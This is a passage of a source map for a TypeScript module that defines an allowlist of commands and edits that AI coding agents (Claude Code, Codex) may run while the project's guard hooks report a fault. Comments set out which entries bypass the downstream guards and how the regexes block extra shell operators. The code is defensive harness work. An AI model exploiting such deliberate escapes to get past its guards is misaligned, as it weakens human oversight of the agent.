shape this whole module exists to prevent.\n *\n * `cure` is the ONE thing that is not uniform across the list, and it is not about L0 at all — see\n * L0_CURE_ALLOW_JS below. Every entry is judged identically while an L0 fault is up; `cure` decides\n * only whether the entry ALSO bypasses the downstream (L1) guards on a HEALTHY tree.\n */\nexport class L0AllowEntry {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly label: string,\n readonly kind: 'pass' | 'allow',\n /**\n * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run\n * before webpieces.config.json can even be loaded, so it bypasses everything, always. A\n * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary\n * command the downstream guards still judge.\n */\n readonly cure: boolean,\n readonly ere: string | null,\n readonly js: string | null,\n /**\n * The ONE harness this entry exists for, or null for the entries every harness gets.\n *\n * A gated entry is unreachable from any other harness — it is spliced into its own union, which\n * both halves of L0 consult only after answering \"which harness sent this call?\". It exists\n * because the two harnesses do not have the same TOOLS: `Read` is entry 1 for Claude Code and\n * Codex has no such tool, so read parity at L0 can only be expressed per harness. Anything added\n * here later must satisfy the property stated on AI_TYPE_SH: the sh half's answer is an\n * approximation, so a gated entry may never grant more than the OTHER harness already has.\n */\n readonly aiType: AiType | null,\n readonly sample: L0Call,\n readonly extraSamples: readonly L0Call[] = [],\n ) {}\n\n /** Every call this entry pins: the canonical sample plus every extra spelling. */\n allSamples(): readonly L0Call[] {\n return [this.sample, ...this.extraSamples];\n }\n}\n\n\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', false, null, null, null, new L0Call('Read', '', 'README.md')),\n // TOOL-SHAPED, like the Read entry above and for the same reason: no regex can express \"this tool\n // has nothing to judge\". See L0_IGNORED_TOOLS for why the list is explicit and why `apply_patch`\n // (Codex's only WRITE) is deliberately not on it.\n new L0AllowEntry(`a Codex tool with nothing to judge: ${[...L0_IGNORED_TOOLS].join(', ')}`,\n 'pass', false, null, null,\n null, new L0Call('update_plan', '', ''),\n [new L0Call('view_image', '', ''), new L0Call('webrun', '', '')]),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', false, null, null,\n null, new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n // THE MANIFEST ESCAPE, and it is an escape L1 row 8 already PROMISED before it existed. Its report\n // says \"STILL ALLOWED HERE: ... edits to pnpm-workspace.yaml / package.json / webpieces.config.json\"\n // and its docblock calls that one of \"two structurally independent escapes\" — but only\n // CONFIG_FILENAME was ever carved out, so the promised cure was untypable from inside the block. The\n // pin lives in pnpm-workspace.yaml's catalog, so an agent whose ONLY correct move is \"raise this\n // tree's pin to what the governing tree already installs\" could not make it.\n //\n // TOOL-SHAPED on purpose (`ere`/`js` both null, like the two entries above): no regex can express\n // \"an Edit whose target is this file\", and a Bash-shaped entry would face the shadowing and\n // single-non-cure-entry invariants that only apply to commands.\n //\n // `pass`, never `allow`, and be precise about what that buys. It is L0 declining to be TERMINAL, so\n // the call falls through to whatever runs next — it is NOT a promise that L1/L2 then judge the edit.\n // The runner carves the same two files out on its own edit path (an early `return null`, beside the\n // webpieces.config.json pass). Scoped by isRootManifest, so it admits the root of the MAIN tree and\n // of every worktree — and no other package.json in the repo.\n new L0AllowEntry(`a Write/Edit whose target is a tree ROOT's ${WORKSPACE_MANIFEST} or ${PACKAGE_MANIFEST} - the version pin`,\n 'pass', false, null, null,\n null, new L0Call('Edit', '', `/repo/${WORKSPACE_MANIFEST}`),\n [new L0Call('Write', '', `/repo/${PACKAGE_MANIFEST}`)]),\n new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n null, new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n null, new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync subcommand in a doc label, not an HTTP call\n new L0AllowEntry('git fetch - a bare git pull and git merge are NOT on the list', 'allow', true, FETCH_BODY_ERE, FETCH_BODY_JS,\n null, new L0Call('Bash', 'git fetch', ''),\n [new L0Call('Bash', 'git fetch --prune origin main', '')]),\n // The one fork-point-safe pull: it ends on MAIN, so no feature branch is merged into. A bare\n // `git pull origin main` is deliberately NOT here — see CHECKOUT_MAIN_PULL_BODY_ERE.\n new L0AllowEntry(CHECKOUT_MAIN_PULL_CMD, 'allow', true, CHECKOUT_MAIN_PULL_BODY_ERE, CHECKOUT_MAIN_PULL_BODY_JS,\n null, new L0Call('Bash', CHECKOUT_MAIN_PULL_CMD, '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n null, new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n null, new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n // The cure for unknown keys in webpieces.config.json — see PRUNE_CONFIG_BODY_ERE for why a cure the\n // messages name must be reachable from inside the block those messages are read under.\n new L0AllowEntry(PRUNE_UNKNOWN_COMMAND, 'allow', true, PRUNE_CONFIG_BODY_ERE, PRUNE_CONFIG_BODY_JS,\n null, new L0Call('Bash', PRUNE_UNKNOWN_COMMAND, ''),\n [new L0Call('Bash', 'pnpm exec wp-prune-unknown-config', '')]),\n new L0AllowEntry(`${INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', true, INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n null, new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')]),\n // The fault-U cure. `@<version>` is pinned as an extra sample because the deny INFERS a pin from the\n // repo's other @webpieces pins and prescribes the versioned spelling — the exact shape that must not\n // become untypable under a later tightening.\n new L0AllowEntry(`${ADD_HOOK_PKG_CMD} (an @version and extra flags allowed)`, 'allow', true, ADD_HOOK_PKG_BODY_ERE, ADD_HOOK_PKG_BODY_JS,\n null, new L0Call('Bash', ADD_HOOK_PKG_CMD, ''),\n [\n new L0Call('Bash', `${ADD_HOOK_PKG_CMD}@0.4.574`, ''),\n new L0Call('Bash', `pnpm add -D -w ${HOOK_PKG}@0.4.574`, ''),\n new L0Call('Bash', `npm add --save-dev ${HOOK_PKG}`, ''),\n ]),\n // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy\n // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because\n // while a fault is UP you have to be able to see where you are standing.\n new L0AllowEntry(\n 'read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list',\n 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS,\n null, new L0Call('Bash', ORIENT_CMD, ''),\n [\n new L0Call('Bash', 'git rev-parse --show-toplevel', ''),\n new L0Call('Bash', 'git worktree list', ''),\n new L0Call('Bash', 'git status', ''),\n ]),\n // CODEX ONLY — entry 1's twin for the harness that has no `Read` tool. See CODEX_READ_BODY_ERE for\n // the deadlock it removes, why it is exactly as wide as core/shell-read-parity.ts, and why it alone\n // carries no `cd` prefix and no capture tail.\n //\n // NOT a cure (`cure: false`), for the identical reason read-only orientation is not one: it repairs\n // nothing, so on a HEALTHY tree it must not bypass L1 — a Codex `cat` still meets the ordinary bash\n // guards. And `pass`, not `allow`, so it mirrors entry 1 exactly: where the bin is running (fault\n // S) the read falls THROUGH to read-stale-guard, and where it is not (D/X/U/K) the sh half is\n // terminal by construction, which is the documented asymmetry entry 1 already has.\n new L0AllowEntry(\n 'CODEX ONLY - a read-shaped Bash command (the harness has no Read tool): '\n + `${[...READ_COMMANDS].join(', ')}, or sed -n '<range>p'`,\n 'pass', false, CODEX_READ_BODY_ERE, CODEX_READ_BODY_JS, 'codex',\n new L0Call('Bash', CODEX_READ_CMD, ''),\n [\n new L0Call('Bash', 'cat webpieces.config.json', ''),\n new L0Call('Bash', 'head -50 .webpieces/instruct-ai/webpieces.guard-matrix.md', ''),\n new L0Call('Bash', 'tail -n 20 package.json', ''),\n new L0Call('Bash', \"cat '/Users/dean hiller/repo/package.json'\", ''),\n ]),\n];\n\n// The UNGATED bodies — every entry that is not scoped to one harness. A gated entry is spliced into its\n// own union below instead, which is what makes it unreachable from the harness it is not for.\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.ere === null || e.aiType !== null ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.js === null || e.aiType !== null ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the\n// rendered shim carries in `grep -Eq '<here>'`.\n//\n// It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a\n// `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\\''` dance: close the\n// quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not\n// even valid sh, which is why this conversion lives here beside the pattern rather than in the\n// renderer — the pattern and its sh spelling must never be able to drift apart.\nexport const L0_ALLOW_ERE_SH = L0_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n\n// The CURE subset of the same list — the entries that REPAIR the tooling.\n//\n// This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the\n// L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,\n// so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot\n// trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is\n// correct for a repair command and WRONG for anything else.\n//\n// So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding\n// `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a\n// perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault\n// isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.\n//\n// A harness-GATED entry is excluded here too, and not merely because today's one is a non-cure: this\n// union is consulted by runner.ts where NO harness has been established either, so a gated body spliced\n// in would be judged with the gate missing — i.e. reachable from the harness it was written to exclude.\nconst L0_CURE_BODIES_JS = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.js === null || !e.cure || e.aiType !== null ? [] : [e.js]));\nexport const L0_CURE_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n"]}
1
+ {"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":"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